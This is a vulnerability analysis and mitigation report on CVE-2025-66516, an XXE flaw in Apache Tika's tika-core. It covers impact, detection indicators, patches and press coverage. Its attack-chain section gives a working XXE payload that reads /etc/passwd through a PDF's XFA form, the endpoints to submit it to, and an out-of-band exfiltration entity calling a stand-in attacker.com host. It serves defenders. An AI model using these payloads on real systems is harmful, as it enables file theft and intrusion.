CVE-2025-66516: 
Java vulnerability analysis and mitigation

CVE-2025-66516 is a critical XML External Entity (XXE) injection vulnerability in Apache Tika affecting the tika-core module (versions 1.13–3.2.1), tika-pdf-module (versions 2.0.0–3.2.1), and tika-parsers (versions 1.13–1.28.5 for 1.x releases). The vulnerability is triggered when Apache Tika processes a crafted XFA (XML Forms Architecture) file embedded within a PDF document. This CVE expands the scope of the previously disclosed CVE-2025-54988 by clarifying that the actual flaw resides in tika-core, meaning users who patched only the PDF parser module remained vulnerable, and by adding coverage for 1.x releases where the PDFParser resided in tika-parsers. It was published on December 4, 2025, and carries a CVSS v3.1 base score of 9.8 (Critical) and a CVSS v4.0 base score of 10.0 (Critical) (GitHub Advisory, Apache Mailing List).

The root cause is CWE-611 (Improper Restriction of XML External Entity Reference). When Apache Tika parses a PDF containing an embedded XFA form, the underlying XML parser in tika-core processes external entity references without adequate restriction, allowing an attacker to inject arbitrary XXE payloads. The attack vector is network-based, requires no authentication, no user interaction, and no special privileges — an attacker simply needs to supply a maliciously crafted PDF to any endpoint that processes documents with a vulnerable Tika version. The critical nuance of this CVE is that the fix must be applied to tika-core (≥ 3.2.2); upgrading only tika-parser-pdf-module is insufficient. A public PoC exploit targeting the related CVE-2025-54988 is available on GitHub and is applicable to this vulnerability (GitHub Advisory, Apache Mailing List, Akamai Blog).

Successful exploitation allows an unauthenticated remote attacker to read arbitrary files from the server's filesystem (e.g., /etc/passwd, application credentials, private keys), perform Server-Side Request Forgery (SSRF) to probe internal network resources, potentially achieve remote code execution, and cause denial of service. The vulnerability affects all platforms and has a full confidentiality, integrity, and availability impact. Given Apache Tika's widespread use in enterprise document processing pipelines — including products from Atlassian, Oracle, IBM, Adobe ColdFusion, Splunk, and Qlik — the blast radius is significant, with over 500 publicly exposed Tika instances identified as vulnerable following disclosure (GitHub Advisory, Security Affairs, CyberSecurityNews).

A public proof-of-concept exploit is available on GitHub targeting the related CVE-2025-54988 (which shares the same underlying vulnerability): POC-CVE-2025-54988. An additional PoC specifically for CVE-2025-66516 was published at sid6224/CVE-2025-66516-POC, and Nuclei detection templates have been merged into the ProjectDiscovery repository. As of the time of reporting, there is no confirmed evidence of active in-the-wild exploitation or known threat actor attribution. The EPSS score is approximately 0.048% (low probability of near-term exploitation), and the vulnerability is not currently listed in the CISA KEV catalog. Detection plugins are available in Nessus (IDs: 277526, 281841, 282327, 282328) and Qualys (Feedly).

1. Reconnaissance: Identify internet-facing services that process PDF documents using Apache Tika (versions 1.13–3.2.1). Use tools like Shodan or Censys to find exposed Tika REST API endpoints (default port 9998) or web applications that accept PDF uploads.
2. Craft malicious PDF: Create a PDF document containing an embedded XFA (XML Forms Architecture) form. Within the XFA XML, inject an XXE payload referencing an external entity, for example:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
  <xfa:data>&xxe;</xfa:data>
</xfa:datasets>

3. Submit the malicious PDF: Upload or submit the crafted PDF to the target application's document processing endpoint (e.g., a file upload form, a Tika REST API endpoint such as PUT /tika or PUT /rmeta).
4. Trigger XXE processing: Apache Tika's tika-core parses the embedded XFA XML without disabling external entity resolution, causing the XML parser to fetch the external entity (local file or remote URL).
5. Exfiltrate data: The content of the referenced file (e.g., /etc/passwd, application config files, SSH keys) is returned in the Tika parsing response or sent out-of-band to an attacker-controlled server via an HTTP-based XXE payload (e.g., <!ENTITY xxe SYSTEM "http://attacker.com/?data=...">).
6. Escalate: Use disclosed credentials or internal network access (via SSRF) to pivot further into the environment (GitHub Advisory, Akamai Blog, Picus Security).

• Network: Unexpected outbound HTTP/HTTPS connections from the Tika server or application server to external or internal IP addresses immediately following PDF processing; DNS lookups to attacker-controlled domains originating from the Java process hosting Tika; unusual SSRF-like requests to internal services (e.g., metadata endpoints, internal APIs) from the Tika host.
• Application Logs: Tika REST API logs showing PDF submissions (PUT /tika, PUT /rmeta) with unusually large or malformed responses; Java XML parser errors or stack traces referencing XFA or external entity resolution in application logs; repeated PDF submissions from a single source IP.
• File System: Unexpected access to sensitive files (e.g., /etc/passwd, /etc/shadow, application configuration files, .env files, SSH private keys) by the Java process running Tika, visible in OS-level audit logs (e.g., auditd, Windows Event Log).
• Process Behavior: Unusual child processes spawned by the JVM running Tika (e.g., curl, wget, bash, sh) if RCE is achieved beyond XXE; unexpected network connections from the JVM process.
• Indicators in Submitted Files: PDF files containing XFA XML with <!DOCTYPE declarations or <!ENTITY references, particularly those referencing file://, http://, or ftp:// URIs (Akamai Blog, SOC Prime).

Primary remediation: Upgrade Apache Tika tika-core to version 3.2.2 or later. It is critical to upgrade tika-core specifically — upgrading only tika-parser-pdf-module is insufficient, as the vulnerability and its fix reside in tika-core. For 1.x users, upgrade tika-parsers to the latest patched 1.x release or migrate to Tika 3.2.2+. Ensure both tika-core AND the relevant parser module are updated together.

Downstream product patches: Multiple vendors have released updates incorporating the fix:

• Atlassian: Security bulletins issued December 11, 2025 and January 20, 2026 (Atlassian Dec 2025, Atlassian Jan 2026)
• Oracle: January 2026 Critical Patch Update (Oracle CPU Jan 2026)
• IBM: SPSS Modeler security bulletin (April 2026) (IBM Advisory)
• Adobe: ColdFusion January 2026 security update
• Splunk: UBA update May 2026

Interim workarounds: Restrict PDF upload functionality or disable Tika's XFA processing; implement network egress filtering to block outbound connections from the Tika host; deploy a WAF rule to detect PDF submissions containing <!DOCTYPE or <!ENTITY strings (GitHub Advisory, Apache Mailing List).

The vulnerability received significant media and community attention upon disclosure in early December 2025, driven by its maximum CVSS 4.0 score of 10.0 and the unusual circumstance that a prior patch (CVE-2025-54988) was incomplete — users who had already patched remained vulnerable. The Hacker News, Dark Reading, Security Affairs, CSO Online, SC World, and The Register all covered the story, with headlines emphasizing the "patch miss" angle (The Hacker News, Dark Reading, CSO Online). Security researcher Kevin Beaumont (GossiTheDog) commented on the vulnerability via Mastodon. The community on Reddit (r/cybersecurity, r/InfoSecNews, r/SecOpsDaily) actively discussed the issue, and Akamai published a detailed detection and defense blog post. Atlassian's December 2025 security bulletin explicitly addressed the flaw in its products, and the Belgian CCB issued a warning about data exfiltration risks (CCB Belgium).